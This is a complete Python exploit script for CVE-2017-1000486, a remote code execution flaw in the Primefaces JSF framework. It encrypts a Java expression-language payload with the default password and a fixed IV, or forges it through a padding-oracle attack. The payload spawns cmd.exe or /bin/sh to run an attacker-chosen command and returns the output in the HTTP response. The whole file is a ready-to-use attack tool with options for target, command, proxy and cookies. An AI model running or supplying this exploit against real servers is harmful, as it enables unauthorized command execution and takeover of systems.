from paddingoracle import BadPaddingException, PaddingOracle
import requests
from Crypto.Hash import MD5
from Crypto.Cipher import DES
import base64
import socket
import time
import logging
import argparse

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        requests.packages.urllib3.disable_warnings()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        payload = base64.b64encode(data)

        while 1:
            try:
                post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload}
                response = self.session.post(self.target, data=post_params, stream=False, timeout=5, verify=False, proxies=self.proxies, headers=self.headers)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # An HTTP 500 error was returned, likely due to incorrect padding
        if response.status_code == 500:
            logging.exception('No padding exception raised on %r', payload)
            return

        raise BadPaddingException


payloadEL =  '${session.setAttribute("scriptfactory",facesContext.getExternalContext().getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance())}'
payloadEL += '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payloadEL += '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payloadEL += '${session.getAttribute("scriptengine").eval('
payloadEL += '"var os = java.lang.System.getProperty(\\"os.name\\");'
payloadEL += 'var proc = null;'
payloadEL += 'os.toLowerCase().contains(\\"win\\")? '
payloadEL += 'proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/C\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start()'
payloadEL += ' : proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"").concat(request.getParameter("cmd")).concat("\\"]).start();'
payloadEL += 'var is = proc.getInputStream();'
payloadEL += 'var sc = new java.util.Scanner(is,\\"UTF-8\\"); var out = \\"\\";'
payloadEL += 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);"))}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().close()}';


def get_args():
    parser = argparse.ArgumentParser( prog="primefaces.py",
                      formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                      epilog= '''
                       This script exploits an expression language remote code execution flaw in the Primefaces JSF framework.
                       Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, 
                       due to the use of weak crypto and default encryption password and salt.
                      ''')

    parser.add_argument("target", help="Target Host")
    parser.add_argument("-pw", "--password", default="primefaces", help="Primefaces Password (Default = primefaces")
    parser.add_argument("-pt", "--path", default="/javax.faces.resource/dynamiccontent.properties.xhtml", help="Path to dynamiccontent.properties (Default = /javax.faces.resource/dynamiccontent.properties.xhtml)")
    parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute. (Default = whoami)")
    parser.add_argument("-px", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (Default = None)")
    parser.add_argument("-ck", "--cookie", default="", help="Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None)")
    parser.add_argument("-o", "--oracle", default="0", help="Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW)")
    parser.add_argument("-pl", "--payload", default="", help="EL Encrypted payload. That function is meant to be used with the Padding Oracle generated payload. (Default = None) ")
    args = parser.parse_args()
    return args


"""Mimic Java's PBEWithMD5AndDES algorithm used by Primefaces"""
def encrypt(data, password):
    # Padding clear-text using PKCS5 algo
    padding = 8 - len(data) % 8
    data += chr(padding) * padding
    # IV and "iterations count" extracted from primefaces sourcecode
    iterations = 19
    iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
    hasher = MD5.new()
    hasher.update(password)
    hasher.update(iv)
    result = hasher.digest()

    for i in range(1, iterations):
        hasher = MD5.new()
        hasher.update(result)
        result = hasher.digest()

    cipher = DES.new(result[:8], DES.MODE_CBC, result[8:16])
    encrypted = cipher.encrypt(data)
    print ("[*] Generated Encrypted Payload: " + str(base64.b64encode(encrypted)))
    return str(base64.b64encode(encrypted))


def exploit(target, path, cmd, password, proxy, cookie, payload=""):
    requests.packages.urllib3.disable_warnings()
    proxies = {
        'http': proxy, 
        'https': proxy
    }
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Accept': '*/*',
        'Cookie': cookie
    }
    if payload == "":
      payload = encrypt(payloadEL, password)
    post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload, 'cmd' : cmd}
    print ("[*] Attempting to execute: %s" % cmd)
    r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=headers)
    if r.text:
      print ("[+] Exploit Result:\n\n %s" % r.text)  
    else:
      print ("[-] Response body empty... Target might not be vulnerable or don't use default password... Try the padding oracle attack.")

def exploit_paddingoracle(target, path, cmd, password, proxy, cookie):
    padbuster = PadBuster()
    padbuster.proxies = {
        'http': proxy, 
        'https': proxy
    }
    padbuster.headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Accept': '*/*',
        'Cookie': cookie
    }
    padbuster.target = target+path
    iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
    payload = padbuster.encrypt(payloadEL, block_size=8, iv=iv)
    print ("[+] Using the following generated payload:\n\n %s" % base64.b64encode(payload))  
    requests.packages.urllib3.disable_warnings()
    proxies = {'http': proxy, 'https': proxy}
    post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': base64.b64encode(payload), 'cmd' : cmd}
    print ("[*] Attempting to execute: %s" % cmd)
    r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=padbuster.headers)
    print(r.headers)
    if r.text:
      print ("[+] Exploit Result:\n\n %s" % r.text)  
    else:
      print ("[-] Response body empty... Target might not be vulnerable... :-(")

def main():
    print ('')
    print ('========================================================================')
    print ('|     CVE-2017-1000486 - Primefaces Remote Code Execution Exploit      |')
    print ('|                               by pimps                               |')
    print ('========================================================================\n')

    args = get_args()
    if (args.oracle.strip() == "0"):
        if (args.payload.strip() == ""):
            print ("[*] Generating payload using default Password...")  
        else:
            print ("[*] Executing the exploit using a given Payload...")
        exploit(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip(), args.payload.strip())
    else:
        print ("[*] Generating payload with Padding Oracle Attack... (SLOW)")  
        exploit_paddingoracle(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip())


if __name__ == '__main__':
  main()